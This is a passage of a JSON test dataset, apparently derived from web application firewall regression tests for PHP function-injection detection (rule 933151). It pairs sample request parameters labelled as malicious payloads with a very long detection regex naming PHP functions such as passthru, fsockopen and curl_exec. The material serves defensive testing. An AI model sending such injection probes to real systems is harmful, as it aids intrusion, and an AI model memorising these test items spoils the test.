par)ent|use)s|earstatcache|ose(?:dir|log))|o(?:llator_(?:asort|c(?:ompar|reat)e|get_(?:(?:attribut|error_(?:cod|messag)|local)e|s(?:ort_key|trength))|s(?:et_(?:attribute|strength)|ort(?:_with_sort_keys)?))|m_(?:create_guid|event_sink|get_active_object|load_typelib|message_pump|print_typeinfo)|n(?:fig_get_hash|nection_(?:aborted|status)|vert_uu(?:de|en)code)|unt_chars)|rc32|type_(?:al(?:num|pha)|cntrl|(?:x?digi|p(?:rin|unc))t|graph|(?:low|upp)er|space)|url_(?:(?:c(?:los|opy_handl)|file_creat|paus)e|e(?:rr(?:no|or)|scape|xec)|getinfo|(?:ini|rese)t|multi_(?:(?:(?:add|remove)_handl|clos)e|e(?:rrno|xec)|getcontent|in(?:fo_read|it)|s(?:e(?:lec|top)t|trerror))|s(?:etopt(?:_array)?|hare_(?:close|errno|init|s(?:etopt|trerror))|trerror)|u(?:nescape|pkeep)|version))|d(?:ate(?:_(?:add|create(?:_(?:from_format|immutable(?:_from_format)?))?|d(?:(?:ate_s|efault_timezone_[gs])et|iff)|(?:forma|(?:offset_g|time(?:_s|(?:stamp|zone)_[gs]))e)t|get_last_errors|i(?:nterval_(?:create_from_date_string|format)|sodate_set)|modify|parse(?:_from_format)?|su(?:b|n(?:_info|rise|set)))|fmt_(?:(?:creat|localtim|pars)e|format(?:_object)?|get_(?:calendar(?:_object)?|(?:datetyp|error_(?:cod|messag)|local)e|pattern|time(?:type|zone(?:_id)?))|is_lenient|set_(?:calendar|lenient|pattern|timezone)))|ba_(?:(?:clos|delet|replac)e|(?:exist|handler)s|f(?:etch|irstkey)|(?:inser|key_spli|lis)t|nextkey|op(?:en|timize)|popen|sync)|(?:cn?)?gettext|e(?:bug_(?:(?:print_)?backtrace|zval_dump)|c(?:bin|hex)|flate_(?:add|init)|g2rad)|isk_(?:free|total)_space|l_test_test[12]|n(?:gettext|s_(?:check_record|get_(?:mx|record)))|om_import_simplexml)|e(?:aster_da(?:te|ys)|n(?:chant_(?:broker_(?:d(?:escribe|ict_exists)|free(?:_dict)?|get_(?:dict_path|error)|(?:ini|request_(?:pwl_)?dic)t|list_dicts|set_(?:dict_path|ordering))|dict_(?:add(?:_to_session)?|(?:quick_)?check|describe|get_error|is_added|s(?:tore_replacemen|ugges)t))|um_exists)|rror_(?:(?:clear|get)_last|(?:lo|reportin)g)|scapeshell(?:arg|cmd)|x(?:if_(?:imagetype|read_data|t(?:agname|humbnail))|pm1|tension_loaded))|f(?:astcgi_finish_request|d(?:atasync|iv)|eof|f(?:i_trampoline|lush)|get(?:c(?:sv)?|s)|i(?:l(?:e_put_contents|ter_(?:has_var|i(?:d|nput(?:_array)?)|list|var(?:_array)?))|nfo_(?:buffer|(?:clos|fil)e|open|set_flags))|loatval|(?:mo|re(?:a|nchtoj))d|nmatch|orward_static_call(?:_array)?|p(?:assthru|m_get_status|rintf|utcsv)|s(?:canf|eek|ockopen|tat|ync)|t(?:ell|ok|p_(?:a(?:lloc|ppend)|c(?:dup|h(?:dir|mod)|lose|onnect)|delete|exec|f(?:ge|pu)t|get(?:_option)?|login|m(?:dtm|kdir|lsd)|n(?:b_(?:continue|(?:f(?:ge|pu)|ge|pu)t)|list)|p(?:asv|ut|wd)|r(?:aw(?:list)?|ename|mdir)|s(?:et_option|(?:i[tz]|ystyp)e|sl_connect))|runcate)|unc_(?:get_args?|num_args)|write)|g(?:c_(?:(?:(?:collect_cycl|mem_cach)e|statu)s|disable|enabled?)|d_info|et(?:_(?:browser|c(?:(?:alled_clas|lass_(?:method|var))s|(?:fg_va|urrent_use)r)|de(?:bug_type|(?:clared_(?:(?:class|interfac)e|trait)|fined_(?:constant|function|var))s)|(?:extension_func|loaded_extension|m(?:angled_object_var|eta_tag)|parent_clas)s|h(?:eaders|tml_translation_table)|include(?:_path|d_files)|o(?:bject_vars|pen_basedir)|resource(?:_(?:id|type)|s))|(?:cw|lastmo)d|(?:dat|rusag)e|env|host(?:by(?:addr|namel?)|name)|imagesize(?:fromstring)?|my(?:[gpu]id|inode)|opt|protobyn(?:ame|umber)|servby(?:name|port)|t(?:ext|imeofday|ype))|m(?:(?:dat|(?:mk|strf)tim)e|p_(?:a(?:bs|[dn]d)|binomial|c(?:lrbit|mp|om)|div(?:_(?:qr?|r)|exact)|(?:expor|fac|hamdis|testbi)t|gcd(?:ext)?|i(?:mport|n(?:(?:i|ver)t|tval))|jacobi|(?:kronecke|x?o)r|l(?:cm|egendre)|m(?:od|ul)|ne(?:g|xtprime)|p(?:erfect_(?:power|square)|o(?:pcount|wm?)|rob_prime)|r(?:andom_(?:bits|range|seed)|oot(?:rem)?)|s(?:can[01]|etbit|ign|qrt(?:rem)?|trval|ub)))|r(?:apheme_(?:extract|s(?:tr(?:i(?:pos|str)|len|(?:ri?)?pos|str)|ubstr))|egoriantojd)|z(?:(?:un)?compress|(?:de(?:cod|flat)|encod|fil|inflat)e|open))|h(?:ash_(?:(?:algo|equal)s|copy|fi(?:le|nal)|h(?:kdf|mac(?:_(?:algos|file))?)|init|pbkdf2|update(?:_(?:file|stream))?)|e(?:ader(?:_re(?:gister_callback|move)|s_(?:lis|sen)t)|brev|x(?:2bin|dec))|ighlight_(?:file|string)|rtime|t(?:ml(?:(?:_entity|specialchars)_decode|entities)|tp_(?:build_query|response_code))|ypot)|i(?:conv(?:_(?:get_encoding|mime_(?:decode(?:_headers)?|encode)|s(?:et_encoding|tr(?:len|r?pos)|ubstr)))?|dn_to_(?:ascii|utf8)|gnore_user_abort|ma(?:ge(?:_type_to_(?:extension|mime_type)|a(?:ffine(?:matrix(?:conca|ge)t)?|lphablending|ntialias|rc|vif)|(?:bm|w(?:bm|eb))p|c(?:har(?:up)?|o(?:lor(?:a(?:llocate(?:alpha)?|t)|closest(?:alpha|hwb)?|deallocate|(?:exact|resolve)(?:alpha)?|match|s(?:et|forindex|total)|transparent)|nvolution|py(?:merge(?:gray)?|res(?:ampl|iz)ed)?)|r(?:eate(?:from(?:avif|(?:bm|w(?:bm|eb))p|g(?:d(?:2(?:part)?)?|if)|(?:jpe|(?:p|stri)n)g|tga|x[bp]m)|truecolor)?|op(?:auto)?))|d(?:ashedline|estroy)|ellipse|f(?:il(?:l(?:ed(?:arc|(?:ellips|rectangl)e|polygon)|toborder)?|ter)|lip|ont(?:height|width)|t(?:bbox|text))|g(?:ammacorrect|d2?|et(?:clip|interpolation)|if|rab(?:screen|window))|i(?:nterlace|struecolor)|jpeg|l(?:(?:ayereffec|oadfon)t|ine)|openpolygon|p(?:alette(?:copy|totruecolor)|ng|olygon)|r(?:e(?:ctangle|solution)|otate)|s(?:avealpha|cale|et(?:brush|clip|interpolation|pixel|style|t(?:hickness|ile))|tring(?:up)?|[xy])|t(?:ruecolortopalette|ypes)|xbm)|p_(?:(?:8bi|qprin)t|a(?:lerts|ppend)|b(?:ase64|inary|ody(?:struct)?)|c(?:heck|l(?:earflag_full|ose)|reatemailbox)|delete(?:mailbox)?|e(?:rrors|xpunge)|fetch(?:_overview|body|header|(?:mim|structur)e)|g(?:c|et(?:_quota(?:root)?|acl|mailboxes|subscribed))|header(?:info|s)|(?:is_)?open|l(?:ast_error|ist(?:scan)?|sub)|m(?:ail(?:_(?:co(?:mpose|py)|move)|boxmsginfo)?|ime_header_decode|sgno|utf7_to_utf8)|num_(?:msg|recent)|ping|r(?:e(?:namemailbox|open)|fc822_(?:parse_(?:adrlist|headers)|write_address))|s(?:avebody|e(?:arch|t(?:_quota|(?:ac|flag_ful)l))|ort|tatus|ubscribe)|t(?:hread|imeout)|u(?:id|n(?:delet|subscrib)e|tf(?:7_(?:de|en)code|8(?:_to_mutf7)?))))|n(?:_array|et_(?:ntop|pton)|flate_(?:add|get_(?:read_len|status)|init)|i_(?:get(?:_all)?|parse_quantity|restore|set)|t(?:div|erface_exists|l(?:_(?:error_nam|get_error_(?:cod|messag)|is_failur)e|cal_(?:a(?:dd|fter)|(?:befor|f(?:ield_differenc|rom_date_tim)|to_date_tim)e|c(?:lear|reate_instance)|equals|get(?:_(?:a(?:ctual_m(?:ax|in)imum|vailable_locales)|(?:day_of_week_typ|error_(?:cod|messag)|keyword_values_for_local)e|first_day_of_week|greatest_minimum|l(?:east_maximum|ocale)|m(?:aximum|inim(?:al_days_in_first_week|um))|now|(?:(?:repeat|skipp)ed_wall_time_op|weekend_transi)tion|t(?:ime(?:_zone)?|ype)))?|i(?:n_daylight_time|s_(?:equivalent_to|(?:lenien|se)t|weekend))|roll|set(?:_(?:(?:first_day_of|minimal_days_in_first)_week|lenient|(?:repeat|skipp)ed_wall_time_option|time(?:_zone)?))?)|gregcal_(?:(?:create_instanc|[gs]et_gregorian_chang)e|is_leap_year)|tz_(?:c(?:ount_equivalent_ids|reate_(?:default|enumeration|time_zone(?:_id_enumeration)?))|(?:(?:from|to)_date_time_zon|use_daylight_tim)e|get_(?:(?:canonical|windows)_id|d(?:isplay_name|st_savings)|e(?:quivalent_id|rror_(?:cod|messag)e)|(?:gm|offse)t|id(?:_for_windows_id)?|r(?:aw_offset|egion)|(?:tz_data_versio|unknow)n)|has_same_rules))))|p(?:2long|tc(?:embed|parse))|s_(?:bool|(?:(?:(?:c(?:all|ount)|(?:execu|wri)t)ab|uploaded_fi)l|i(?:nfinit|terabl)|re(?:adabl|sourc))e|f(?:i(?:l|nit)e|loat)|link|nan|s(?:calar|oap_fault|tring|ubclass_of))|terator_(?:(?:appl|to_arra)y|count))|j(?:d(?:dayofweek|monthname|to(?:french|gregorian|j(?:ewish|ulian)|unix))|(?:ewish|ulian)tojd|son_(?:last_error(?:_msg)?|validate)))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933151", "test_description": "pmf + chain" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=array_diff" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:c(?:cel_chdir|osh?)|ddc?slashes|pache_(?:child_terminate|get(?:_(?:modules|version)|env)|lookup_uri|note |re(?:quest|sponse)_headers|setenv)|r(?:ray_(?:c(?:h(?:ange_key_case|unk)|o(?:lumn|mbine|unt_values))|diff(?:_(?:assoc|key|u(?:assoc|key)))?|f(?:ill(?:_keys)?|lip)|i(?:ntersect(?:_(?:assoc|key|u(?:assoc|key)))?|s_list)|key(?:_(?:fir|la)st|s)|m(?:ap|erge(?:_recursive)?|ultisort)|p(?:ad|op|roduct)|r(?:and|e(?:(?:duc|vers)e|place(?:_recursive)?))|s(?:earch|p?lice|um)|u(?:(?:diff|intersect)(?:_u?assoc)?|n(?:ique|shift))|walk(?:_recursive)?)|sort)|s(?:inh|ort|sert_options)|tan[2h]?)|b(?:ase(?:64_(?:de|en)code|_convert)|c(?:add|comp|div|m(?:od|ul)|pow(?:mod)?|s(?:cale|qrt|ub))|in(?:2hex|d(?:_textdomain_codeset|ec|textdomain))|oolval|z(?:(?:de)?compress|err(?:no|(?:o|st)r)|open|read))|c(?:al(?:_(?:days_in_month|(?:from|to)_jd|info)|l_user_func_array)|eil|h(?:(?:di)?r|grp|mod|own|unk_split)|l(?:ass_(?:alia|(?:implem|par)ent|use)s|earstatcache|ose(?:dir|log))|o(?:llator_(?:asort|c(?:ompar|reat)e|get_(?:(?:attribut|error_(?:cod|messag)|local)e|s(?:ort_key|trength))|s(?:et_(?:attribute|strength)|ort(?:_with_sort_keys)?))|m_(?:create_guid|event_sink|get_active_object|load_typelib|message_pump|print_typeinfo)|n(?:fig_get_hash|nection_(?:aborted|status)|vert_uu(?:de|en)code)|unt_chars)|rc32|type_(?:al(?:num|pha)|cntrl|(?:x?digi|p(?:rin|unc))t|graph|(?:low|upp)er|space)|url_(?:(?:c(?:los|opy_handl)|file_creat|paus)e|e(?:rr(?:no|or)|scape|xec)|getinfo|(?:ini|rese)t|multi_(?:(?:(?:add|remove)_handl|clos)e|e(?:rrno|xec)|getcontent|in(?:fo_read|it)|s(?:e(?:lec|top)t|trerror))|s(?:etopt(?:_array)?|hare_(?:close|errno|init|s(?:etopt|trerror))|trerror)|u(?:nescape|pkeep)|version))|d(?:ate(?:_(?:add|create(?:_(?:from_format|immutable(?:_from_format)?))?|d(?:(?:ate_s|efault_timezone_[gs])et|iff)|(?:forma|(?:offset_g|time(?:_s|(?:stamp|zone)_[gs]))e)t|get_last_errors|i(?:nterval_(?:create_from_date_string|format)|sodate_set)|modify|parse(?:_from_format)?|su(?:b|n(?:_info|rise|set)))|fmt_(?:(?:creat|localtim|pars)e|format(?:_object)?|get_(?:calendar(?:_object)?|(?:datetyp|error_(?:cod|messag)|local)e|pattern|time(?:type|zone(?:_id)?))|is_lenient|set_(?:calendar|lenient|pattern|timezone)))|ba_(?:(?:clos|delet|replac)e|(?:exist|handler)s|f(?:etch|irstkey)|(?:inser|key_spli|lis)t|nextkey|op(?:en|timize)|popen|sync)|(?:cn?)?gettext|e(?:bug_(?:(?:print_)?backtrace|zval_dump)|c(?:bin|hex)|flate_(?:add|init)|g2rad)|isk_(?:free|total)_space|l_test_test[12]|n(?:gettext|s_(?:check_record|get_(?:mx|record)))|om_import_simplexml)|e(?:aster_da(?:te|ys)|n(?:chant_(?:broker_(?:d(?:escribe|ict_exists)|free(?:_dict)?|get_(?:dict_path|error)|(?:ini|request_(?:pwl_)?dic)t|list_dicts|set_(?:dict_path|ordering))|dict_(?:add(?:_to_session)?|(?:quick_)?check|describe|get_error|is_added|s(?:tore_replacemen|ugges)t))|um_exists)|rror_(?:(?:clear|get)_last|(?:lo|reportin)g)|scapeshell(?:arg|cmd)|x(?:if_(?:imagetype|read_data|t(?:agname|humbnail))|pm1|tension_loaded))|f(?:astcgi_finish_request|d(?:atasync|iv)|eof|f(?:i_trampoline|lush)|get(?:c(?:sv)?|s)|i(?:l(?:e_put_contents|ter_(?:has_var|i(?:d|nput(?:_array)?)|list|var(?:_array)?))|nfo_(?:buffer|(?:clos|fil)e|open|set_flags))|loatval|(?:mo|re(?:a|nchtoj))d|nmatch|orward_static_call(?:_array)?|p(?:assthru|m_get_status|rintf|utcsv)|s(?:canf|eek|ockopen|tat|ync)|t(?:ell|ok|p_(?:a(?:lloc|ppend)|c(?:dup|h(?:dir|mod)|lose|onnect)|delete|exec|f(?:ge|pu)t|get(?:_option)?|login|m(?:dtm|kdir|lsd)|n(?:b_(?:continue|(?:f(?:ge|pu)|ge|pu)t)|list)|p(?:asv|ut|wd)|r(?:aw(?:list)?|ename|mdir)|s(?:et_option|(?:i[tz]|ystyp)e|sl_connect))|runcate)|unc_(?:get_args?|num_args)|write)|g(?:c_(?:(?:(?:collect_cycl|mem_cach)e|statu)s|disable|enabled?)|d_info|et(?:_(?:browser|c(?:(?:alled_clas|lass_(?:method|var))s|(?:fg_va|urrent_use)r)|de(?:bug_type|(?:clared_(?:(?:class|interfac)e|trait)|fined_(?:constant|function|var))s)|(?:extension_func|loaded_extension|m(?:angled_object_var|eta_tag)|parent_clas)s|h(?:eaders|tml_translation_table)|include(?:_path|d_files)|o(?:bject_vars|pen_basedir)|resource(?:_(?:id|type)|s))|(?:cw|lastmo)d|(?:dat|rusag)e|env|host(?:by(?:addr|namel?)|name)|imagesize(?:fromstring)?|my(?:[gpu]id|inode)|opt|protobyn(?:ame|umber)|servby(?:name|port)|t(?:ext|imeofday|ype))|m(?:(?:dat|(?:mk|strf)tim)e|p_(?:a(?:bs|[dn]d)|binomial|c(?:lrbit|mp|om)|div(?:_(?:qr?|r)|exact)|(?:expor|fac|hamdis|testbi)t|gcd(?:ext)?|i(?:mport|n(?:(?:i|ver)t|tval))|jacobi|(?:kronecke|x?o)r|l(?:cm|egendre)|m(?:od|ul)|ne(?:g|xtprime)|p(?:erfect_(?:power|square)|o(?:pcount|wm?)|rob_prime)|r(?:andom_(?:bits|range|seed)|oot(?:rem)?)|s(?:can[01]|etbit|ign|qrt(?:rem)?|trval|ub)))|r(?:apheme_(?:extract|s(?:tr(?:i(?:pos|str)|len|(?:ri?)?pos|str)|ubstr))|egoriantojd)|z(?:(?:un)?compress|(?:de(?:cod|flat)|encod|fil|inflat)e|open))|h(?:ash_(?:(?:algo|equal)s|copy|fi(?:le|nal)|h(?:kdf|mac(?:_(?:algos|file))?)|init|pbkdf2|update(?:_(?:file|stream))?)|e(?:ader(?:_re(?:gister_callback|move)|s_(?:lis|sen)t)|brev|x(?:2bin|dec))|ighlight_(?:file|string)|rtime|t(?:ml(?:(?:_entity|specialchars)_decode|entities)|tp_(?:build_query|response_code))|ypot)|i(?:conv(?:_(?:get_encoding|mime_(?:decode(?:_headers)?|encode)|s(?:et_encoding|tr(?:len|r?pos)|ubstr)))?|dn_to_(?:ascii|utf8)|gnore_user_abort|ma(?:ge(?:_type_to_(?:extension|mime_type)|a(?:ffine(?:matrix(?:conca|ge)t)?|lphablending|ntialias|rc|vif)|(?:bm|w(?:bm|eb))p|c(?:har(?:up)?|o(?:lor(?:a(?:llocate(?:alpha)?|t)|closest(?:alpha|hwb)?|deallocate|(?:exact|resolve)(?:alpha)?|match|s(?:et|forindex|total)|transparent)|nvolution|py(?:merge(?:gray)?|res(?:ampl|iz)ed)?)|r(?:eate(?:from(?:avif|(?:bm|w(?:bm|eb))p|g(?:d(?:2(?:part)?)?|if)|(?:jpe|(?:p|stri)n)g|tga|x[bp]m)|truecolor)?|op(?:auto)?))|d(?:ashedline|estroy)|ellipse|f(?:il(?:l(?:ed(?:arc|(?:ellips|rectangl)e|polygon)|toborder)?|ter)|lip|ont(?:height|width)|t(?:bbox|text))|g(?:ammacorrect|d2?|et(?:clip|interpolation)|if|rab(?:screen|window))|i(?:nterlace|struecolor)|jpeg|l(?:(?:ayereffec|oadfon)t|ine)|openpolygon|p(?:alette(?:copy|totruecolor)|ng|olygon)|r(?:e(?:ctangle|solution)|otate)|s(?:avealpha|cale|et(?:brush|clip|interpolation|pixel|style|t(?:hickness|ile))|tring(?:up)?|[xy])|t(?:ruecolortopalette|ypes)|xbm)|p_(?:(?:8bi|qprin)t|a(?:lerts|ppend)|b(?:ase64|inary|ody(?:struct)?)|c(?:heck|l(?:earflag_full|ose)|reatemailbox)|delete(?:mailbox)?|e(?:rrors|xpunge)|fetch(?:_overview|body|header|(?:mim|structur)e)|g(?:c|et(?:_quota(?:root)?|acl|mailboxes|subscribed))|header(?:info|s)|(?:is_)?open|l(?:ast_error|ist(?:scan)?|sub)|m(?:ail(?:_(?:co(?:mpose|py)|move)|boxmsginfo)?|ime_header_decode|sgno|utf7_to_utf8)|num_(?:msg|recent)|ping|r(?:e(?:namemailbox|open)|fc822_(?:parse_(?:adrlist|headers)|write_address))|s(?:avebody|e(?:arch|t(?:_quota|(?:ac|flag_ful)l))|ort|tatus|ubscribe)|t(?:hread|imeout)|u(?:id|n(?:delet|subscrib)e|tf(?:7_(?:de|en)code|8(?:_to_mutf7)?))))|n(?:_array|et_(?:ntop|pton)|flate_(?:add|get_(?:read_len|status)|init)|i_(?:get(?:_all)?|parse_quantity|restore|set)|t(?:div|erface_exists|l(?:_(?:error_nam|get_error_(?:cod|messag)|is_failur)e|cal_(?:a(?:dd|fter)|(?:befor|f(?:ield_differenc|rom_date_tim)|to_date_tim)e|c(?:lear|reate_instance)|equals|get(?:_(?:a(?:ctual_m(?:ax|in)imum|vailable_locales)|(?:day_of_week_typ|error_(?:cod|messag)|keyword_values_for_local)e|first_day_of_week|greatest_minimum|l(?:east_maximum|ocale)|m(?:aximum|inim(?:al_days_in_first_week|um))|now|(?:(?:repeat|skipp)ed_wall_time_op|weekend_transi)tion|t(?:ime(?:_zone)?|ype)))?|i(?:n_daylight_time|s_(?:equivalent_to|(?:lenien|se)t|weekend))|roll|set(?:_(?:(?:first_day_of|minimal_days_in_first)_week|lenient|(?:repeat|skipp)ed_wall_time_option|time(?:_zone)?))?)|gregcal_(?:(?:create_instanc|[gs]et_gregorian_chang)e|is_leap_year)|tz_(?:c(?:ount_equivalent_ids|reate_(?:default|enumeration|time_zone(?:_id_enumeration)?))|(?:(?:from|to)_date_time_zon|use_daylight_tim)e|get_(?:(?:canonical|windows)_id|d(?:isplay_name|st_savings)|e(?:quivalent_id|rror_(?:cod|messag)e)|(?:gm|offse)t|id(?:_for_windows_id)?|r(?:aw_offset|egion)|(?:tz_data_versio|unknow)n)|has_same_rules))))|p(?:2long|tc(?:embed|parse))|s_(?:bool|(?:(?:(?:c(?:all|ount)|(?:execu|wri)t)ab|uploaded_fi)l|i(?:nfinit|terabl)|re(?:adabl|sourc))e|f(?:i(?:l|nit)e|loat)|link|nan|s(?:calar|oap_fault|tring|ubclass_of))|terator_(?:(?:appl|to_arra)y|count))|j(?:d(?:dayofweek|monthname|to(?:french|gregorian|j(?:ewish|ulian)|unix))|(?:ewish|ulian)tojd|son_(?:last_error(?:_msg)?|validate)))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933151", "test_description": "No parenthesis after keyword" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=ceiling%20height(9ft)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:c(?:cel_chdir|osh?)|ddc?slashes|pache_(?:child_terminate|get(?:_(?:modules|version)|env)|lookup_uri|note |re(?:quest|sponse)_headers|setenv)|r(?:ray_(?:c(?:h(?:ange_key_case|unk)|o(?:lumn|mbine|unt_values))|diff(?:_(?:assoc|key|u(?:assoc|key)))?|f(?:ill(?:_keys)?|lip)|i(?:ntersect(?:_(?:assoc|key|u(?:assoc|key)))?|s_list)|key(?:_(?:fir|la)st|s)|m(?:ap|erge(?:_recursive)?|ultisort)|p(?:ad|op|roduct)|r(?:and|e(?:(?:duc|vers)e|place(?:_recursive)?))|s(?:earch|p?lice|um)|u(?:(?:diff|intersect)(?:_u?assoc)?|n(?:ique|shift))|walk(?:_recursive)?)|sort)|s(?:inh|ort|sert_options)|tan[2h]?)|b(?:ase(?:64_(?:de|en)code|_convert)|c(?:add|comp|div|m(?:od|ul)|pow(?:mod)?|s(?:cale|qrt|ub))|in(?:2hex|d(?:_textdomain_codeset|ec|textdomain))|oolval|z(?:(?:de)?compress|err(?:no|(?:o|st)r)|open|read))|c(?:al(?:_(?:days_in_month|(?:from|to)_jd|info)|l_user_func_array)|eil|h(?:(?:di)?r|grp|mod|own|unk_split)|l(?:ass_(?:alia|(?:implem|par)ent|use)s|earstatcache|ose(?:dir|log))|o(?:llator_(?:asort|c(?:ompar|reat)e|get_(?:(?:attribut|error_(?:cod|messag)|local)e|s(?:ort_key|trength))|s(?:et_(?:attribute|strength)|ort(?:_with_sort_keys)?))|m_(?:create_guid|event_sink|get_active_object|load_typelib|message_pump|print_typeinfo)|n(?:fig_get_hash|nection_(?:aborted|status)|vert_uu(?:de|en)code)|unt_chars)|rc32|type_(?:al(?:num|pha)|cntrl|(?:x?digi|p(?:rin|unc))t|graph|(?:low|upp)er|space)|url_(?:(?:c(?:los|opy_handl)|file_creat|paus)e|e(?:rr(?:no|or)|scape|xec)|getinfo|(?:ini|rese)t|multi_(?:(?:(?:add|remove)_handl|clos)e|e(?:rrno|xec)|getcontent|in(?:fo_read|it)|s(?:e(?:lec|top)t|trerror))|s(?:etopt(?:_array)?|hare_(?:close|errno|init|s(?:etopt|trerror))|trerror)|u(?:nescape|pkeep)|version))|d(?:ate(?:_(?:add|create(?:_(?:from_format|immutable(?:_from_format)?))?|d(?:(?:ate_s|efault_timezone_[gs])et|iff)|(?:forma|(?:offset_g|time(?:_s|(?:stamp|zone)_[gs]))e)t|get_last_errors|i(?:nterval_(?:create_from_date_string|format)|sodate_set)|modify|parse(?:_from_format)?|su(?:b|n(?:_info|rise|set)))|fmt_(?:(?:creat|localtim|pars)e|format(?:_object)?|get_(?:calendar(?:_object)?|(?:datetyp|error_(?:cod|messag)|local)e|pattern|time(?:type|zone(?:_id)?))|is_lenient|set_(?:calendar|lenient|pattern|timezone)))|ba_(?:(?:clos|delet|replac)e|(?:exist|handler)s|f(?:etch|irstkey)|(?:inser|key_spli|lis)t|nextkey|op(?:en|timize)|popen|sync)|(?:cn?)?gettext|e(?:bug_(?:(?:print_)?backtrace|zval_dump)|c(?:bin|hex)|flate_(?:add|init)|g2rad)|isk_(?:free|total)_space|l_test_test[12]|n(?:gettext|s_(?:check_record|get_(?:mx|record)))|om_import_simplexml)|e(?:aster_da(?:te|ys)|n(?:chant_(?:broker_(?:d(?:escribe|ict_exists)|free(?:_dict)?|get_(?:dict_path|error)|(?:ini|request_(?:pwl_)?dic)t|list_dicts|set_(?:dict_path|ordering))|dict_(?:add(?:_to_session)?|(?:quick_)?check|describe|get_error|is_added|s(?:tore_replacemen|ugges)t))|um_exists)|rror_(?:(?:clear|get)_last|(?:lo|reportin)g)|scapeshell(?:arg|cmd)|x(?:if_(?:imagetype|read_data|t(?:agname|humbnail))|pm1|tension_loaded))|f(?:astcgi_finish_request|d(?:atasync|iv)|eof|f(?:i_trampoline|lush)|get(?:c(?:sv)?|s)|i(?:l(?:e_put_contents|ter_(?:has_var|i(?:d|nput(?:_array)?)|list|var(?:_array)?))|nfo_(?:buffer|(?:clos|fil)e|open|set_flags))|loatval|(?:mo|re(?:a|nchtoj))d|nmatch|orward_static_call(?:_array)?|p(?:assthru|m_get_status|rintf|utcsv)|s(?:canf|eek|ockopen|tat|ync)|t(?:ell|ok|p_(?:a(?:lloc|ppend)|c(?:dup|h(?:dir|mod)|lose|onnect)|delete|exec|f(?:ge|pu)t|get(?:_option)?|login|m(?:dtm|kdir|lsd)|n(?:b_(?:continue|(?:f(?:ge|pu)|ge|pu)t)|list)|p(?:asv|ut|wd)|r(?:aw(?:list)?|ename|mdir)|s(?:et_option|(?:i[tz]|ystyp)e|sl_connect))|runcate)|unc_(?:get_args?|num_args)|write)|g(?:c_(?:(?:(?:collect_cycl|mem_cach)e|statu)s|disable|enabled?)|d_info|et(?:_(?:browser|c(?:(?:alled_clas|lass_(?:method|var))s|(?:fg_va|urrent_use)r)|de(?:bug_type|(?:clared_(?:(?:class|interfac)e|trait)|fined_(?:constant|function|var))s)|(?:extension_func|loaded_extension|m(?:angled_object_var|eta_tag)|parent_clas)s|h(?:eaders|tml_translation_table)|include(?:_path|d_files)|o(?:bject_vars|pen_basedir)|resource(?:_(?:id|type)|s))|(?:cw|lastmo)d|(?:dat|rusag)e|env|host(?:by(?:addr|namel?)|name)|imagesize(?:fromstring)?|my(?:[gpu]id|inode)|opt|protobyn(?:ame|umber)|servby(?:name|port)|t(?:ext|imeofday|ype))|m(?:(?:dat|(?:mk|strf)tim)e|p_(?:a(?:bs|[dn]d)|binomial|c(?:lrbit|mp|om)|div(?:_(?:qr?|r)|exact)|(?:expor|fac|hamdis|testbi)t|gcd(?:ext)?|i(?:mport|n(?:(?:i|ver)t|tval))|jacobi|(?:kronecke|x?o)r|l(?:cm|egendre)|m(?:od|ul)|ne(?:g|xtprime)|p(?:erfect_(?:power|square)|o(?:pcount|wm?)|rob_prime)|r(?:andom_(?:bits|range|seed)|oot(?:rem)?)|s(?:can[01]|etbit|ign|qrt(?:rem)?|trval|ub)))|r(?:apheme_(?:extract|s(?:tr(?:i(?:pos|str)|len|(?:ri?)?pos|str)|ubstr))|egoriantojd)|z(?:(?:un)?compress|(?:de(?:cod|flat)|encod|fil|inflat)e|open))|h(?:ash_(?:(?:algo|equal)s|copy|fi(?:le|nal)|h(?:kdf|mac(?:_(?:algos|file))?)|init|pbkdf2|update(?:_(?:file|stream))?)|e(?:ader(?:_re(?:gister_callback|move)|s_(?:lis|sen)t)|brev|x(?:2bin|dec))|ighlight_(?:file|string)|rtime|t(?:ml(?:(?:_entity|specialchars)_decode|entities)|tp_(?:build_query|response_code))|ypot)|i(?:conv(?:_(?:get_encoding|mime_(?:decode(?:_headers)?|encode)|s(?:et_encoding|tr(?:len|r?pos)|ubstr)))?|dn_to_(?:ascii|utf8)|gnore_user_abort|ma(?:ge(?:_type_to_(?:extension|mime_type)|a(?:ffine(?:matrix(?:conca|ge)t)?|lphablending|ntialias|rc|vif)|(?:bm|w(?:bm|eb))p|c(?:har(?:up)?|o(?:lor(?:a(?:llocate(?:alpha)?|t)|closest(?:alpha|hwb)?|deallocate|(?:exact|resolve)(?:alpha)?|match|s(?:et|forindex|total)|transparent)|nvolution|py(?:merge(?:gray)?|res(?:ampl|iz)ed)?)|r(?:eate(?:from(?:avif|(?:bm|w(?:bm|eb))p|g(?:d(?:2(?:part)?)?|if)|(?:jpe|(?:p|stri)n)g|tga|x[bp]m)|truecolor)?|op(?:auto)?))|d(?:ashedline|estroy)|ellipse|f(?:il(?:l(?:ed(?:arc|(?:ellips|rectangl)e|polygon)|toborder)?|ter)|lip|ont(?:height|width)|t(?:bbox|text))|g(?:ammacorrect|d2?|et(?:clip|interpolation)|if|rab(?:screen|window))|i(?:n